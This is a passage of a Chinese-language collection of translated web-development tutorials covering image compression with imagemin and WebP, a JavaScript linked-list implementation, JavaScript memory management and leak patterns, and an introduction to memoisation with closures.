此外,JPEG 图像不支持透明度处理,透明图片需要召唤 PNG 来呈现。

使用 MozJPEG 压缩 jpeg

这里使用 Mozilla 的 MozJPEG 工具,该工具可以通过 imagemin-mozjpeg 作为 Imagemin 插件使用。你可以通过运行以下命令来安装它:

npm install imagemin-mozjpeg

然后将以下内容添加到的 imagemin.js 中:

const imageminMozjpeg = require('imagemin-mozjpeg');
const optimiseJPEGImages = () =>
  imagemin([JPEGImages], output, {
    plugins: [
      imageminMozjpeg({
        quality: 70,
      }),
    ]
  });
optimiseJPEGImages()
  .catch(error => console.log(error));

可以通过在终端中运行 node imagemin.js 来运行脚本。这将处理所有JPEG图像,并将优化后的版本放 build/images 文件夹中。

我发现将 quality 设置为 70 在大多数情况下可以产生足够清晰的图像,但你的项目需求可能不同,可以自行设置合适的值。

默认情况下,MozJPEG 生成渐进式 jpeg,这会导致图像从低分辨率逐渐加载到高分辨率,直到图片完全加载为止。由于它们的编码方式,它们也比原始的 jpeg 略小。

你可以使用 Sindre Sorhus 提供的这个命令行工具来检查JPEG图像是否是渐进式的。

Addy Osmani 已经很好地总结了使用渐进式 jpeg 的优缺点。对我来说,我觉得利大于弊,所以我坚持使用默认设置。

如果你更喜欢使用原始的jpeg,可以在 options 对象中将 progressive 设置为 false。另外,请确保 imagemin-mozjpeg 版本的变化,请重新查看对应文档。

PNG (PNG-8 与 PNG-24)

####PNG 的优缺点

PNG(可移植网络图形格式)是一种无损压缩的高保真的图片格式。8 和 24,这里都是二进制数的位数。按照我们前置知识里提到的对应关系,8 位的 PNG 最多支持 256 种颜色,而 24 位的可以呈现约 1600 万种颜色。

PNG 图片具有比 JPG 更强的色彩表现力,对线条的处理更加细腻,对透明度有良好的支持。它弥补了上文我们提到的 JPG 的局限性,唯一的缺点就是 体积太大

PNG 应用场景

前面我们提到,复杂的、色彩层次丰富的图片,用 PNG 来处理的话,成本会比较高,我们一般会交给 JPG 去存储。

考虑到 PNG 在处理线条和颜色对比度方面的优势,我们主要用它来呈现小的 Logo、颜色简单且对比强烈的图片或背景等。

使用 pngquant 优化 PNG 图像

pngquant 是我优化PNG图像的首选工具,你可以通过 imagemin-pngquant 使用它:

npm install imagemin-pngquant

然后将以下内容添加到 imagemin.js 文件中:

const imageminPngquant = require('imagemin-pngquant');
const optimisePNGImages = () =>
  imagemin([PNGImages], output, {
    plugins: [
      imageminPngquant({ quality: '65-80' })
    ],
  });
optimiseJPEGImages()
  .then(() => optimisePNGImages())
  .catch(error => console.log(error));

我发现将 quality 设置为 65-80 可以在文件大小和图像质量之间较好的折衷方案。

有了这些设置,我可以得到一个屏幕截图,我的网站从 913kb 到 187kb,没有任何明显的视觉损失,惊人的79% 的降幅!

这是两个文件。看一看,自己判断一下:

WebP

WebP 的优点

WebP 像 JPEG 一样对细节丰富的图片信手拈来,像 PNG 一样支持透明,像 GIF 一样可以显示动态图片——它集多种图片文件格式的优点于一身。
WebP 的官方介绍对这一点有着更权威的阐述:

与 PNG 相比,WebP 无损图像的尺寸缩小了 26%。在等效的 SSIM 质量指数下,WebP 有损图像比同类 JPEG 图像小25-34%。 无损 WebP 支持透明度(也称为 alpha 通道),仅需 22% 的额外字节。对于有损 RGB 压缩可接受的情况,有损 WebP 也支持透明度,与 PNG 相比,通常提供 3 倍的文件大小。

将 WebP 图像提供给支持它们的浏览器

WebP 是谷歌引入的一种相对较新的格式,它的目标是通过以无损和有损格式编码图像来提供更小的文件大小,使其成为 JPEG 和 PNG 的一个很好的替代方案。

WebP 图像的清晰度通常可以与 JPEG 和 PNG相提并论,而且文件大小要小得多。例如,当我将屏幕截图从上面转换到 WebP 时,我得到了一个 88kb 的文件,其质量与 913kb 的原始图像相当,减少了90% !

看看这三张图片,你能说出区别吗?

就我个人而言,我认为视觉效果是可以比较的,而且节省下来的大小是不容忽视的。

既然我们已经认识到在可能的情况下使用WebP格式是有价值的,那么很重要的一点是—它不能完全替代 JPEG 和 PNG,因为浏览器对 WebP 支持并不普遍。

在撰写本文时,Firefox、Safari 和 Edge 都是不支持WebP的浏览器。

image

然而,根据 caniuse.com 的数据,全球超过70%的用户使用支持WebP的浏览器。这意味着,通过使用 WebP 图像,可以为大约 70% 的客户提供更快的 web 页面及更好的体验。

安装它,运行以下命令:

npm install imagemin-webp

然后将以下内容添加到你的 imagemin.js 文件中:

const imageminWebp = require('imagemin-webp');
const convertPNGToWebp = () =>
  imagemin([PNGImages], output, {
    use: [
      imageminWebp({
        quality: 85,
      }),
    ]
  });
const convertJPGToWebp = () =>
  imagemin([JPGImages], output, {
    use: [
      imageminWebp({
        quality: 75,
      }),
    ]
  });
optimiseJPEGImages()
  .then(() => optimisePNGImages())
  .then(() => convertPNGToWebp())
  .then(() => convertJPGToWebp())
  .catch(error => console.log(error));

我发现,将 quality 设置为 85 会生成质量与 PNG 相当但小得多的 WebP 图像。对于 jpeg,我发现将 quality 设置为 75 可以在视觉和文件大小之间取得很好的平衡。

提供 HTML格式的WebP图像

一旦有了 WebP 图像,可以使用以下标记将它们提供给可以使用它们的浏览器,同时向不兼容 WebP 的浏览器使用 png 或者 jpeg。

<picture>
    <source srcset="sample_image.webp" type="image/webp">
    <source srcset="sample_image.jpg" type="image/jpg">
    <img src="sample_image.jpg" alt="">
</picture>

使用此标记,理解 image/webp 媒体类型的浏览器将下载 Webp 图片并显示它,而其他浏览器将下载 JPEG 图片。

任何不支持 <picture> 的浏览器都将跳过所有 source 标签,并加载底部 img 标签。因此,我们通过提供对所有浏览器类的支持,逐步增强了我们的页面。

image

请注意,在所有情况下,img 标记都是实际呈现给页面的内容,因此它确实是语法的必需部分。 如果省略 img 标记,则不会渲染任何图像。

标签和其中定义的所有 source 都在那里,以便浏览器可以选择要使用的图片的路径。 选择源图像后,其 URL 将传给 img 标记,这就是显示的内容。

这意味着你无需设置 <picture>source 标记的样式,因为浏览器不会渲染这些标记。 因此,你可以像以前一样继续使用 img 标签进行样式设置。

总结

正如你所看到的,优化 web 上使用的图像的过程并不复杂,通过减少页面加载时间,可以为客户带来更好的用户体验,希望本文对你有所帮助,共进步!

代码部署后可能存在的BUG没法实时知道,事后为了解决这些BUG,花了大量的时间进行log 调试,这边顺便给大家推荐一个好用的BUG监控工具 Fundebug

原文:

https://medium.freecodecamp.org/image-optimization-558d9f449e3

你的点赞是我持续分享好东西的动力,欢迎点赞!

一个笨笨的码农,我的世界只能终身学习!

更多内容请关注公众号《大迁世界》

image

用 JavaScript 实现链表

image

什么是链表

单链表是表示一系列节点的数据结构,其中每个节点指向链表中的下一个节点。 相反,双向链表具有指向其前后元素的节点。

与数组不同,链表不提供对链表表中特定索引访问。 因此,如果需要链表表中的第三个元素,则必须遍历第一个和第二个节点才能到得到它。

链表的一个好处是能够在固定的时间内从链表的开头和结尾添加和删除项。

这些都是在技术面试中经常被问到的数据结构,所以让我们开始吧。

另外,可以对链表进行排序。 这意味着当每个节点添加到链表中时,它将被放置在相对于其他节点的适当位置。

节点

链表只是一系列节点,所以让我们从 Node 对象开始。

image

一个节点有两条信息

  • 指向链表中下一项的指针或引用(对于单链表)

  • 节点的值

对于我们的节点,我们只需要创建一个函数,该函数接受一个值,并返回一个具有上面两个信息的对象:指向下一个节点的指针和该节点的值

注意,我们可以只声明 value 而不是 value: value。这是因为变量名称相同(ES6 语法)

节点链表

现在,让我们深入研究 NodeList 类,以下就是节点链表样子。

image

节点链表将包含五个方法:

  • push(value): 将值添加到链表的末尾

  • pop() :弹出链表中的最后一个值

  • get(index):返回给定索引中的项

  • delete(index):从给定索引中删除项

  • isEmpty(): 返回一个布尔值,指示链表是否为空

printList():不是链表的原生方法,它将打印出我们的链表,主要用于调试

构造函数

构造函数中需要三个信息:

  • head:对链表开头节点的引用

  • tail:对链表末尾节点的引用

  • length:链表中有多少节点

    class LinkedList {
    constructor() {
    this.head = null;
    this.tail = null;
    this.length = 0;
    }
    }

IsEmpty

isEmpty() 方法是一个帮助函数,如果链表为空,则返回true

isEmpty() {
  return this.length === 0;
}

printList

这个实用程序方法用于打印链表中的节点,仅用于调试目的。

printList () {
  const nodes = [];
  let current = this.head;
  while (current) {
    nodes.push(current.value);
    current = current.next;
  }
  return nodes.join(' -> ');
}

Push

在添加新节点之前,push 方法需要检查链表是否为空。如何知道链表是否为空? 两种方式:

  • isEmpty()方法返回true(链表的长度为零)

  • head 指针为空

对于这个例子,我们使用 head是否为null来判断链表是否为空。

如果链表中没有项,我们可以简单地将head 指针和tail指针都设置为新节点并更新链表的长度。

if (this.head === null) {
  this.head = node;
  this.tail = node;
  this.length++;
  return node;
}

如果链表不是空的,我们必须执行以下操作:

  • tail.next 指向新节点

  • tail 指向新节点

  • 更新链表长度

image

以下是完整的 push 方法:

push(value) {
  const node = Node(value);
  // The list is empty
  if (this.head === null) {
    this.head = node;
    this.tail = node;
    this.length++;
    return node;
  }
  this.tail.next = node;
  this.tail = node;
  this.length++;
}

Pop

在删除链表中的最后一项之前,我们的pop方法需要检查以下两项内容:

  • 检查链表是否为空

  • 检查链表中是否只有一项

可以使用isEmpty方法检查链表是否包含节点。

if (this.isEmpty()) {
  return null;
}

我们如何知道链表中只有一个节点? 如果 headtail 指向同一个节点。但是在这种情况下我们需要做什么呢? 删除唯一的节点意味着我们实际上要重新设置链表。

if (this.head === this.tail) {
  this.head = null;
  this.tail = null;
  this.length--;
  return nodeToRemove;
}

如果链表中有多个元素,我们可以执行以下操作

当链表中有节点时,
 如果链表中的下一个节点是 tail 
   更新 tail 指向当前节点
   当前节点设置为 null,
   更新链表的长度
   返回前一个 tail 元素

它看起来像这样:

    1  let currentNode = this.head;
    2  let secondToLastNode;
    3
    4  //从前面开始并迭代直到找到倒数第二个节点
    5 
    6  while (currentNode) {
    7    if (currentNode.next === this.tail) {
    8      // 将第二个节点的指针移动到最后一个节点
    9      secondToLastNode = currentNode;
   10      break;
   11    }
   12    currentNode = currentNode.next;
   13  }
   14  // 弹出该节点
   15  secondToLastNode.next = null;
   16  // 将 tail 移动到倒数第二个节点
   17  this.tail = secondToLastNode;
   18  this.length--;
   19 
   20  // 初始化 this.tail
   21   return nodeToRemove;

如果你无法想象这一点,那么让我们来看看它。

第6-10行:如果链表中的下一个节点是最后一个项,那么这个当前项目就是新tail,因此我们需要保存它的引用。

if (currentNode.next === this.tail) {
  secondToLastNode = currentNode;
}

image

第15行:将secondToLastNode更新为null,这是从链表中“弹出”最后一个元素的行为。

secondToLastNode.next = null;

image

第17行:更新tail以指向secondToLastNode

this.tail = secondToLastNode;

image

第18行:更新链表的长度,因为我们刚删除了一个节点。

第21行:返回刚刚弹出的节点。

以下是完整的pop方法:

pop() {
  if (this.isEmpty()) {
    return null;
  }
  const nodeToRemove = this.tail;
  // There's only one node!
  if (this.head === this.tail) {
    this.head = null;
    this.tail = null;
    this.length--;
    return nodeToRemove;
  }

  let currentNode = this.head;
  let secondToLastNode;

  // Start at the front and iterate until
  // we find the second to last node
  while (currentNode) {
    if (currentNode.next === this.tail) {
      // Move the pointer for the second to last node
      secondToLastNode = currentNode;
      break;
    }
    currentNode = currentNode.next;
  }
  // Pop off that node
  secondToLastNode.next = null;
  // Move the tail to the second to last node
  this.tail = secondToLastNode;
  this.length--;

  // Initialized to this.tail
  return nodeToRemove;
}

Get

get方法必须检查三种情况:

  • 索引是否超出了链表的范围
  • 链表是否为空
  • 查询第一个元素

如果链表中不存在请求的索引,则返回null

// Index is outside the bounds of the list
if (index < 0 || index > this.length) {
  return null;
}

如果链表为空,则返回null。你可以把这些if语句组合起来,但是为了保持清晰,我把它们分开了。

if (this.isEmpty()) {
  return null;
}

如果我们请求第一个元素,返回 head

// We're at the head!
if (index === 0 )  {
  return this.head;
}

否则,我们只是一个一个地遍历链表,直到找到要查找的索引。

let current = this.head;
let iterator =  0;

while (iterator < index) {
  iterator++;
  current = current.next;
}

return current;

以下是完整的get(index)方法:

get(index) {
// Index is outside the bounds of the list
if (index < 0 || index > this.length) {
  return null;
}

if (this.isEmpty()) {
  return null;
}

// We're at the head!
if (index === 0 )  {
  return this.head;
}

let current = this.head;
let iterator =  0;

while (iterator < index) {
  iterator++;
  current = current.next;
}

return current;
}

Delete

delete方法需要考虑到三个地方

  • 删除的索引超出了链表的范围

  • 链表是否为空

  • 我们想要删除 head

如果链表中不存在我们要删除的索引,则返回 null

// Index is outside the bounds of the list
if (index < 0 || index > this.length) {
  return null;
}

如果我们想删除head,将head设置为链表中的下一个值,减小长度,并返回我们刚刚删除的值。

if (index === 0) {
  const nodeToDelete = this.head;
  this.head = this.head.next;
  this.length--;
  return nodeToDelete;
}

如果以上都 不是,则删除节点的逻辑如下:

循环遍历正在查找的索引

   增加索引值

   将前一个和当前指针向上移动一个

将当前值保存为要删除的节点

更新上一个节点的指针以指向下一个节点

如果下一个值为 `null`

   将`tail`设置为新的最后一个节点

更新链表长度

返回已删除的节点

如果你需要可视化图片,请参考Pop部分中的图表。

以下是完整的 delete 方法:

delete(index) {
   // Index is outside the bounds of the list
  if (index < 0 || index > this.length - 1) {
    return null;
  }

  if (this.isEmpty()) {
    return null;
  }

  if (index === 0) {
    const nodeToDelete = this.head;
    this.head = this.head.next;
    this.length--;
    return nodeToDelete;
  }

  let current = this.head;
  let previous;
  let iterator = 0;

  while (iterator < index) {
    iterator++;
    previous = current;
    current = current.next;
  }
  const nodeToDelete = current;
  // Re-direct pointer to skip the element we're deleting
  previous.next = current.next;

  // We're at the end
  if(previous.next === null) {
    this.tail = previous;
  }

  this.length--;

  return nodeToDelete;
}

** 原文:https://itnext.io/creating-linked-lists-in-javascript-2980b0559324**

你的点赞是我持续分享好东西的动力,欢迎点赞!

欢迎加入前端大家庭,里面会经常分享一些技术资源。

image

3.JavaScript如何工作:内存管理+如何处理4个常见的内存泄漏

本中,我们将讨论另一个重要主题——内存管理,这是由于日常使用的编程语言越来越成熟和复杂,开发人员容易忽视这一问题。我们还将提供一些有关如何处理JavaScript中的内存泄漏的技巧,在SessionStack中遵循这些技巧,既能确保SessionStack 不会导致内存泄漏,也不会增加我们集成的Web应用程序的内存消耗。

概述

像 C 这样的编程语言,具有低级内存管理原语,如malloc()和free()。开发人员使用这些原语显式地对操作系统的内存进行分配和释放。

而JavaScript在创建对象(对象、字符串等)时会为它们分配内存,不再使用对时会“自动”释放内存,这个过程称为垃圾收集。这种看“自动”似释放资源的的特性是造成混乱的根源,因为这给JavaScript(和其他高级语言)开发人员带来一种错觉,以为他们可以不关心内存管理的错误印象,这是想法一个大错误。

即使在使用高级语言时,开发人员也应该了解内存管理(或者至少懂得一些基础知识)。有时候,自动内存管理存在一些问题(例如垃圾收集器中的bug或实现限制等),开发人员必须理解这些问题,以便可以正确地处理它们(或者找到一个适当的解决方案,以最小代价来维护代码)。

内存的生命周期

无论使用哪种编程语言,内存的生命周期都是一样的:

image

这里简单介绍一下内存生命周期中的每一个阶段:

  • 分配内存 —  内存是由操作系统分配的,它允许您的程序使用它。在低级语言(例如C语言)中,这是一个开发人员需要自己处理的显式执行的操作。然而,在高级语言中,系统会自动为你分配内在。

  • 使用内存 — 这是程序实际使用之前分配的内存,在代码中使用分配的变量时,就会发生读和写操作。

  • 释放内存 — 释放所有不再使用的内存,使之成为自由内存,并可以被重利用。与分配内存操作一样,这一操作在低级语言中也是需要显式地执行。

内存是什么?

在介绍JavaScript中的内存之前,我们将简要讨论内存是什么以及它是如何工作的。

硬件层面上,计算机内存由大量的触发器缓存的。每个触发器包含几个晶体管,能够存储一位,单个触发器都可以通过唯一标识符寻址,因此我们可以读取和覆盖它们。因此,从概念上讲,可以把的整个计算机内存看作是一个可以读写的巨大数组。

作为人类,我们并不擅长用比特来思考和计算,所以我们把它们组织成更大的组,这些组一起可以用来表示数字。8位称为1字节。除了字节,还有字(有时是16位,有时是32位)。

很多东西都存储在内存中:

  1. 程序使用的所有变量和其他数据。

  2. 程序的代码,包括操作系统的代码。

编译器和操作系统一起为你处理大部分内存管理,但是你还是需要了解一下底层的情况,对内在管理概念会有更深入的了解。

在编译代码时,编译器可以检查基本数据类型,并提前计算它们需要多少内存。然后将所需的大小分配给调用堆栈空间中的程序,分配这些变量的空间称为堆栈空间。因为当调用函数时,它们的内存将被添加到现有内存之上,当它们终止时,它们按照后进先出(LIFO)顺序被移除。例如:

image

编译器能够立即知道所需的内存:4 + 4×4 + 8 = 28字节。

这段代码展示了整型和双精度浮点型变量所占内存的大小。但是大约20年前,整型变量通常占2个字节,而双精度浮点型变量占4个字节。你的代码不应该依赖于当前基本数据类型的大小。

编译器将插入与操作系统交互的代码,并申请存储变量所需的堆栈字节数。

在上面的例子中,编译器知道每个变量的确切内存地址。事实上,每当我们写入变量 n 时,它就会在内部被转换成类似“内存地址4127963”这样的信息。

注意,如果我们尝试访问 x[4],将访问与m关联的数据。这是因为访问数组中一个不存在的元素(它比数组中最后一个实际分配的元素x3多4字节),可能最终读取(或覆盖)一些 m 位。这肯定会对程序的其余部分产生不可预知的结果。

image

当函数调用其他函数时,每个函数在调用堆栈时获得自己的块。它保存所有的局部变量,但也会有一个程序计数器来记住它在执行过程中的位置。当函数完成时,它的内存块将再次用于其他地方。

动态分配

不幸的是,当编译时不知道一个变量需要多少内存时,事情就有点复杂了。假设我们想做如下的操作:

image

在编译时,编译器不知道数组需要使用多少内存,因为这是由用户提供的值决定的。

因此,它不能为堆栈上的变量分配空间。相反,我们的程序需要在运行时显式地向操作系统请求适当的空间,这个内存是从堆空间分配的。静态内存分配和动态内存分配的区别总结如下表所示:

静态内存分配动态内存分配
大小必须在编译时知道 大小不需要在编译时知道
在编译时执行 在运行时执行
分配给堆栈 分配给堆
FILO (先进后出) 没有特定的分配顺序

要完全理解动态内存分配是如何工作的,需要在指针上花费更多的时间,这可能与本文的主题有太多的偏离,这里就不太详细介绍指针的相关的知识了。

在JavaScript中分配内存

现在将解释第一步:如何在JavaScript中分配内存。

JavaScript为让开发人员免于手动处理内存分配的责任——JavaScript自己进行内存分配同时声明值。

image

某些函数调用也会导致对象的内存分配:

image

方法可以分配新的值或对象:

image

在JavaScript中使用内存

在JavaScript中使用分配的内存意味着在其中读写,这可以通过读取或写入变量或对象属性的值,或者将参数传递给函数来实现。

当内存不再需要时进行释放

大多数的内存管理问题都出现在这个阶段

这里最困难的地方是确定何时不再需要分配的内存,它通常要求开发人员确定程序中哪些地方不再需要内存的并释放它。

高级语言嵌入了一种称为垃圾收集器的机制,它的工作是跟踪内存分配和使用,以便发现任何时候一块不再需要已分配的内在。在这种情况下,它将自动释放这块内存。

不幸的是,这个过程只是进行粗略估计,因为很难知道某块内存是否真的需要 (不能通过算法来解决)。

大多数垃圾收集器通过收集不再被访问的内存来工作,例如,指向它的所有变量都超出了作用域。但是,这是可以收集的内存空间集合的一个不足估计值,因为在内存位置的任何一点上,仍然可能有一个变量在作用域中指向它,但是它将永远不会被再次访问。

垃圾收集

由于无法确定某些内存是否真的有用,因此,垃圾收集器想了一个办法来解决这个问题。本节将解释理解主要垃圾收集算法及其局限性。

内存引用

垃圾收集算法主要依赖的是引用。

在内存管理上下文中,如果对象具有对另一个对象的访问权(可以是隐式的,也可以是显式的),则称对象引用另一个对象。例如,JavaScript对象具有对其原型(隐式引用)和属性值(显式引用)的引用。

在此上下文中,“对象”的概念被扩展到比常规JavaScript对象更广泛的范围,并且还包含函数范围(或全局词法作用域)。

词法作用域定义了如何在嵌套函数中解析变量名:即使父函数已经返回,内部函数也包含父函数的作用

引用计数垃圾收集算法

这是最简单的垃圾收集算法。如果没有指向对象的引用,则认为该对象是“垃圾可回收的”,如下代码:

image

循环会产生问题

当涉及到循环时,会有一个限制。在下面的示例中,创建了两个对象,两个对象互相引用,从而创建了一个循环。在函数调用之后将超出作用域,因此它们实际上是无用的,可以被释放。然而,引用计数算法认为,由于每个对象至少被引用一次,所以它们都不能被垃圾收集。

image

image

image

标记-清除(Mark-and-sweep)算法

该算法能够判断出某个对象是否可以访问,从而知道该对象是否有用,该算法由以下步骤组成:

  1. 垃圾收集器构建一个“根”列表,用于保存引用的全局变量。在JavaScript中,“window”对象是一个可作为根节点的全局变量。

  2. 然后,算法检查所有根及其子节点,并将它们标记为活动的(这意味着它们不是垃圾)。任何根不能到达的地方都将被标记为垃圾。

  3. 最后,垃圾收集器释放所有未标记为活动的内存块,并将该内存返回给操作系统。

image

这个算法比上一个算法要好,因为“一个对象没有被引用”就意味着这个对象无法访问。

截至2012年,所有现代浏览器都有标记-清除垃圾收集器。过去几年在JavaScript垃圾收集(分代/增量/并发/并行垃圾收集)领域所做的所有改进都是对该算法(标记-清除)的实现改进,而不是对垃圾收集算法本身的改进,也不是它决定对象是否可访问的目标。

在这篇文章中,你可以更详细地阅读到有关跟踪垃圾收集的详细信息,同时还包括了标记-清除算法及其优化。

循环不再是问题

在上面的第一个例子中,在函数调用返回后,这两个对象不再被从全局对象中可访问的对象引用。因此,垃圾收集器将发现它们不可访问。

image

尽管对象之间存在引用,但它们对于根节点来说是不可达的。

垃圾收集器的反直观行为

尽管垃圾收集器很方便,但它们有一套自己的折衷方案,其中之一就是非决定论,换句话说,GC是不可预测的,你无法真正判断何时进行垃圾收集。这意味着在某些情况下,程序会使用更多的内存,这实际上是必需的。在对速度特别敏感的应用程序中,可能会很明显的感受到短时间的停顿。如果没有分配内存,则大多数GC将处于空闲状态。看看以下场景:

  1. 分配一组相当大的内在。
  2. 这些元素中的大多数(或全部)被标记为不可访问(假设引用指向一个不再需要的缓存)。
  3. 不再进一步的分配

在这些场景中,大多数GCs 将不再继续收集。换句话说,即使有不可访问的引用可供收集,收集器也不会声明这些引用。这些并不是严格意义上的泄漏,但仍然会导致比通常更高的内存使用。

内存泄漏是什么?

从本质上说,内存泄漏可以定义为:不再被应用程序所需要的内存,出于某种原因,它不会返回到操作系统或空闲内存池中。

image

编程语言支持不同的内存管理方式。然而,是否使用某一块内存实际上是一个无法确定的问题。换句话说,只有开发人员才能明确一块内存是否可以返回到操作系统。

某些编程语言为开发人员提供了帮助,另一些则期望开发人员能清楚地了解内存何时不再被使用。维基百科上有一些有关人工自动内存管理的很不错的文章。

##四种常见的内存泄漏

1.全局变量

JavaScript以一种有趣的方式处理未声明的变量: 对于未声明的变量,会在全局范围中创建一个新的变量来对其进行引用。在浏览器中,全局对象是window。例如:

function foo(arg) {
    bar = "some text";
}

等价于:

function foo(arg) {
    window.bar = "some text";
}

如果bar在foo函数的作用域内对一个变量进行引用,却忘记使用var来声明它,那么将创建一个意想不到的全局变量。在这个例子中,遗漏一个简单的字符串不会造成太大的危害,但这肯定会很糟。

创建一个意料之外的全局变量的另一种方法是使用this:

function foo() {
    this.var1 = "potential accidental global";
}
// Foo自己调用,它指向全局对象(window),而不是未定义。
foo();

可以在JavaScript文件的开头通过添加“use strict”来避免这一切,它将开启一个更严格的JavaScript解析模式,以防止意外创建全局变量。

尽管我们讨论的是未知的全局变量,但仍然有很多代码充斥着显式的全局变量。根据定义,这些是不可收集的(除非被指定为空或重新分配)。用于临时存储和处理大量信息的全局变量特别令人担忧。如果你必须使用一个全局变量来存储大量数据,那么请确保将其指定为null,或者在完成后将其重新赋值。

2.被遗忘的定时器和回调

setInterval为例,因为它在JavaScript中经常使用。

var serverData = loadData();
setInterval(function() {
    var renderer = document.getElementById('renderer');
    if(renderer) {
        renderer.innerHTML = JSON.stringify(serverData);
    }
}, 5000); //每五秒会执行一次

上面的代码片段演示了使用定时器时引用不再需要的节点或数据。

renderer表示的对象可能会在未来的某个时间点被删除,从而导致内部处理程序中的一整块代码都变得不再需要。但是,由于定时器仍然是活动的,所以,处理程序不能被收集,并且其依赖项也无法被收集。这意味着,存储着大量数据的serverData也不能被收集。

在使用观察者时,您需要确保在使用完它们之后进行显式调用来删除它们(要么不再需要观察者,要么对象将变得不可访问)。

作为开发者时,需要确保在完成它们之后进行显式删除它们(或者对象将无法访问)。

在过去,一些浏览器无法处理这些情况(很好的IE6)。幸运的是,现在大多数现代浏览器会为帮你完成这项工作:一旦观察到的对象变得不可访问,即使忘记删除侦听器,它们也会自动收集观察者处理程序。然而,我们还是应该在对象被处理之前显式地删除这些观察者。例如:

image

如今,现在的浏览器(包括IE和Edge)使用现代的垃圾回收算法,可以立即发现并处理这些循环引用。换句话说,在一个节点删除之前也不是必须要调用removeEventListener。

一些框架或库,比如JQuery,会在处置节点之前自动删除监听器(在使用它们特定的API的时候)。这是由库内部的机制实现的,能够确保不发生内存泄漏,即使在有问题的浏览器下运行也能这样,比如……IE 6。

3.闭包

闭包是javascript开发的一个关键方面,一个内部函数使用了外部(封闭)函数的变量。由于JavaScript运行的细节,它可能以下面的方式造成内存泄漏:

image

这段代码做了一件事:每次调用replaceThing的时候,theThing都会得到一个包含一个大数组和一个新闭包(someMethod)的新对象。同时,变量unused指向一个引用了```originalThing``的闭包。

是不是有点困惑了? 重要的是,一旦具有相同父作用域的多个闭包的作用域被创建,则这个作用域就可以被共享。

在这种情况下,为闭包someMethod而创建的作用域可以被unused共享的。unused内部存在一个对originalThing的引用。即使unused从未使用过,someMethod也可以在replaceThing的作用域之外(例如在全局范围内)通过theThing来被调用。

由于someMethod共享了unused闭包的作用域,那么unused引用包含的originalThing会迫使它保持活动状态(两个闭包之间的整个共享作用域)。这阻止了它被收集。

当这段代码重复运行时,可以观察到内存使用在稳定增长,当GC运行后,内存使用也不会变小。从本质上说,在运行过程中创建了一个闭包链表(它的根是以变量theThing的形式存在),并且每个闭包的作用域都间接引用了了一个大数组,这造成了相当大的内存泄漏。

4.脱离DOM的引用

有时,将DOM节点存储在数据结构中可能会很有用。假设你希望快速地更新表中的几行内容,那么你可以在一个字典或数组中保存每个DOM行的引用。这样,同一个DOM元素就存在两个引用:一个在DOM树中,另一个则在字典中。如果在将来的某个时候你决定删除这些行,那么你需要将这两个引用都设置为不可访问。

image

在引用 DOM 树中的内部节点或叶节点时,还需要考虑另外一个问题。如果在代码中保留对表单元格的引用(标记),并决定从 DOM 中删除表,同时保留对该特定单元格的引用,那么可能会出现内存泄漏。

你可能认为垃圾收集器将释放除该单元格之外的所有内容。然而,事实并非如此,由于单元格是表的一个子节点,而子节点保存对父节点的引用,所以对表单元格的这个引用将使整个表保持在内存中,所以在移除有被引用的节点时候要移除其子节点。

编辑中可能存在的bug没法实时知道,事后为了解决这些bug,花了大量的时间进行log 调试,这边顺便给大家推荐一个好用的BUG监控工具Fundebug

原文:https://blog.sessionstack.com/how-javascript-works-memory-management-how-to-handle-4-common-memory-leaks-3f28b94cfbec

你的点赞是我持续分享好东西的动力,欢迎点赞!

欢迎加入前端大家庭,里面会经常分享一些技术资源。

image

Web 性能优化:理解及使用 JavaScript 缓存

随着我们的应用程序的不断增长并开始进行复杂的计算时,对速度的需求越来越高(🏎️),所以流程的优化变得必不可少。 当我们忽略这个问题时,我们最终的程序需要花费大量时间并在执行期间消耗大量的系统资源。

缓存是一种优化技术,通过存储开销大的函数执行的结果,并在相同的输入再次出现时返回已缓存的结果,从而加快应用程序的速度。

如果这对你没有多大意义,那没关系。 本文深入解释了为什么需要进行缓存,缓存是什么,如何实现以及何时应该使用缓存。

什么是缓存

缓存是一种优化技术,通过存储开销大的函数执行的结果,并在相同的输入再次出现时返回已缓存的结果,从而加快应用程序的速度。

在这一点上,我们很清楚,缓存的目的是减少执行“昂贵的函数调用”所花费的时间和资源。

什么是昂贵的函数调用?别搞混了,我们不是在这里花钱。在计算机程序的上下文中,我们拥有的两种主要资源是时间和内存。因此,一个昂贵的函数调用是指一个函数调用中,由于计算量大,在执行过程中大量占用了计算机的资源和时间。

然而,就像对待金钱一样,我们需要节约。为此,使用缓存来存储函数调用的结果,以便在将来的时间内快速方便地访问。

缓存只是一个临时的数据存储,它保存数据,以便将来对该数据的请求能够更快地得到处理。

因此,当一个昂贵的函数被调用一次时,结果被存储在缓存中,这样,每当在应用程序中再次调用该函数时,结果就会从缓存中非常快速地取出,而不需要重新进行任何计算。

为什么缓存很重要?

下面是一个实例,说明了缓存的重要性:

想象一下,你正在公园里读一本封面很吸引人的新小说。每次一个人经过,他们都会被封面吸引,所以他们会问书名和作者。第一次被问到这个问题的时候,你翻开书,读出书名和作者的名字。现在越来越多的人来这里问同样的问题。你是一个很好的人🙂,所以你回答所有问题。

你会翻开封面,把书名和作者的名字一一告诉他,还是开始凭记忆回答?哪个能节省你更多的时间?

发现其中的相似之处了吗?使用记忆法,当函数提供输入时,它执行所需的计算并在返回值之前将结果存储到缓存中。如果将来接收到相同的输入,它就不必一遍又一遍地重复,它只需要从缓存(内存)中提供答案。

缓存是怎么工作的

JavaScript 中的缓存的概念主要建立在两个概念之上,它们分别是:

  • 闭包
  • 高阶函数(返回函数的函数)

闭包

闭包是函数和声明该函数的词法环境的组合。

不是很清楚? 我也这么认为。

为了更好的理解,让我们快速研究一下 JavaScript 中词法作用域的概念,词法作用域只是指程序员在编写代码时指定的变量和块的物理位置。如下代码:

function foo(a) {
  var b = a + 2;
  function bar(c) {
    console.log(a, b, c);
  }
  bar(b * 2);
}

foo(3); // 3, 5, 10

从这段代码中,我们可以确定三个作用域:

  • 全局作用域(包含 foo 作为唯一标识符)
  • foo 作用域,它有标识符 abbar
  • bar 作用域,包含 c 标识符

仔细查看上面的代码,我们注意到函数 foo 可以访问变量 a 和 b,因为它嵌套在 foo 中。注意,我们成功地存储了函数 bar 及其运行环境。因此,我们说 barfoo 的作用域上有一个闭包。

你可以在遗传的背景下理解这一点,即个体有机会获得并表现出遗传特征,即使是在他们当前的环境之外,这个逻辑突出了闭包的另一个因素,引出了我们的第二个主要概念。

从函数返回函数

通过接受其他函数作为参数或返回其他函数的函数称为高阶函数。

闭包允许我们在封闭函数的外部调用内部函数,同时保持对封闭函数的词法作用域的访问

让我们对前面的示例中的代码进行一些调整,以解释这一点。

function foo(){
  var a = 2;

  function bar() {
